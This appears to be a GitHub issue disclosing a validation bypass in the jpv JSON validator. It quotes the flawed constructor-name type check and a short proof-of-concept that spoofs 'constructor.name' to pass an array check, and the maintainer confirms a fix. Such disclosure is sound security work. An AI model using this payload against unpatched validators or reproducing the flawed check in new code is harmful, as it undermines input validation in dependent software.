A vulnerability in validate()

[xiaofen9]

We found that a maliciously crafted json can bypass the validation logics of jpv.
The vulnerability is from the following code: jpv leverages the built-in constructor of unsafe user-input to detect type information. However, a crafted payload can overwrite this builtin attribute to manipulate the type detection result.

jpv/index.js

Lines 117 to 125 in e93d2f6

	if (typeof pattern === 'object') {
	if (typeof pattern !== typeof value) {
	return res(false)
	}
	if (pattern !== null && value !== null) {
	return res(value.constructor.name === pattern.constructor.name)
	}
	return res(value === pattern)
	}

Reproduce Script

"use strict";

var jpv = require('jpv');
var path = require('path');
var utils = require("../TestcaseUtils.js");

var user_input = {
    should_be_arrary: {"a":1, 'constructor': {'name':'Array'}}
};
var pattern = {
    should_be_arrary: []
};

console.log(jpv.validate(user_input, pattern));

[manvel-khnkoyan]

@xiaofen9 Thanks sir. Issue was fixed in fdab855